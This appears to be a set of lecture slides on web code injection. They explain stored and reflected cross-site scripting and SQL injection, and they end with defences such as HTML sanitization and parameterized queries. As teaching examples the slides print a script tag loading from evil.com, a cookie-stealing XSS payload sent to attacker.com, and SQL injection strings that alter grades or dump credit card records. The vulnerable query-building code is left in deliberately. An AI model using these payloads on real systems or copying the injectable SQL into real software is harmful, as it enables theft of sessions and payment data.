

Code Injection Attacks

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
Untrusted

Trusted

Web Browser




Web Server /
Application server



Storage System



Internet



LAN

Consider adding HTML comments to our Photo App

- Easy change:

```
Rather than {model.comment} do div.innerHTML = model.comment;
```

- What happens if someone inputs a comment with a script tag?

```
<script src="http://www.evil.com/damage.js" />
```

- Called a **Cross Site Scripting Attack (XSS)**

Really unfortunate for us. Every user that views that photo/comments gets hurt. (consider following with a CSRF attack)

Stored Cross Site Scripting Attack

- Attacker stores attacking code in a victim Web server, where it gets accessed by victim clients. Call a **Stored Cross Site Scripting Attack**
- On previous generations of web frameworks was a major attack loophole
 - Lots of stuffing things into `innerHTML`, bad escape processing
- Less so on JavaScript frameworks
 - Care is taken before stuffing things into the DOM

Reflected Cross Site Scripting

- Attacker doesn't need to store attack on website, can just reflect it off the website. Call a **Reflected Cross Site Scripting Attack**
- Consider a website that shows the search term used (like our states view)
 - What happens if we store the search term in an innerHTML and an attacker tricks a user into searching for:

```
Justin Bieber
```

```
<img style="display:none" id="cookieMonster">
```

```
<script>
```

```
    img = document.getElementById("cookieMonster");
```

```
    img.src = "http://attacker.com?cookie=" +
```

```
        encodeURIComponent(document.cookie);
```

```
</script>
```

Reflected Cross Site Scripting Attack

- How to get user to submit that URL? CSRF again:
- Step #1: lure user to attacker site:
 - Sponsored advertisement
 - Spam email
 - Facebook application
- Step #2: attacker HTML automatically loads the link in an invisible iframe

Modern JavaScript frameworks have better defences

- Angular bind-html - Sanitizes HTML to remove script, etc.
`<div ng-bind-html="model.comment"></div>` --- Safe
- Must explicitly tell Angular if you don't want it sanitized
`model.comment = $sce.trustAsHtml(model.comment)`

Strict Contextual Escaping (SCE)

- Effectively marks all the places you need to worry about
- ReactJS: No opinion -> half dozen options, search "reactjs sanitize html"

Code Inject on the Server

SQL DataBase query models

- Request processing for get students of a specified advisor

```
var advisorName = routeParam.advisorName;
var students = Student.find_by_sql(
  "SELECT students.* " +
  "FROM students, advisors " +
  "WHERE student.advisor_id = advisor.id " +
  "AND advisor.name = '" + advisorName + "'");
```

- Called with advisorName of 'Jones'

```
SELECT students.* FROM students, advisors
  WHERE student.advisor_id = advisor.id
  AND advisor.name = 'Jones'
```

SQL Injection Attack - Update database

- What happens if the advisorName is:

```
Jones'; UPDATE grades
      SET g.grade = 4.0
      FROM grades g, students s
      WHERE g.student_id = s.id
      AND s.name = 'Smith'
```

- The following query will be generated:


```
SELECT students.* FROM students, advisors
      WHERE student.advisor_id = advisor.id
      AND advisor.name = 'Jones'; UPDATE grades
      SET g.grade = 4.0
      FROM grades g, students s
      WHERE g.student_id = s.id
      AND s.name = 'Smith'
```

SQL Injection

Injection can also be used to extract sensitive information

- Modify existing query to retrieve different information
- Stolen information appears in "normal" Web output

Consider a simple pizza company view order history



Order history query to SQL database

- Order history request processing:

```
var month = routeParam.month;
var orders = Orders.find_by_sql(
  "SELECT pizza, toppings, quantity, date " +
  "FROM orders " +
  "WHERE user_id=" + user_id +
  "AND order_month= '" + month + "'");
```

- Month parameter set to:

```
October' AND 1=0
UNION SELECT name as pizza, card_num as toppings,
  exp_mon as quantity, exp_year as date
FROM credit_cards WHERE name != '
```

SQL Injection - Dump the database

```
SELECT pizza, toppings, quantity, date
FROM orders
WHERE user_id=94412
AND order_month='October' AND 1=0
UNION SELECT name as pizza, card_num as toppings,
exp_mon as quantity, exp_year as date
FROM credit_cards WHERE name != ''
```

Output the dump

Firefox

file:///C:/Users/ouster/Documents/Stanford/courses/142/lectur

Your orders

Your Pizza Orders in October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards

Pizza	Toppings	Quantity	Date
Neil Daswani	3962 4081 3317 9011	11	2009
Carol Collins	7132 0315 9444 6123	4	2011
Robert Bowlman	4583 9224 0712 6734	6	2010
Li-Feng Chang	5010 2963 8442 9316	8	2012
...			

1 error / 0 warnings

CardSystems hit by SQL injection attack

- CardSystems - Credit card payment processing company

SQL injection attack in June 2005

Did in the company

- The Attack:

Credit card #s stored unencrypted

263,000 credit card #s stolen from database

43 million credit card #s exposed

Solutions

- Don't write SQL

```
Student.findByAdvisorName(routeParam.advisorName);
```

- Use a framework that knows how to safely build sql commands:

```
Student.find_by_sql("SELECT students.* " +  
    "FROM students, advisors " +  
    "WHERE student.advisor_id = advisor.id " +  
    "AND advisor.name = ?",  
    routeParam.advisorName);
```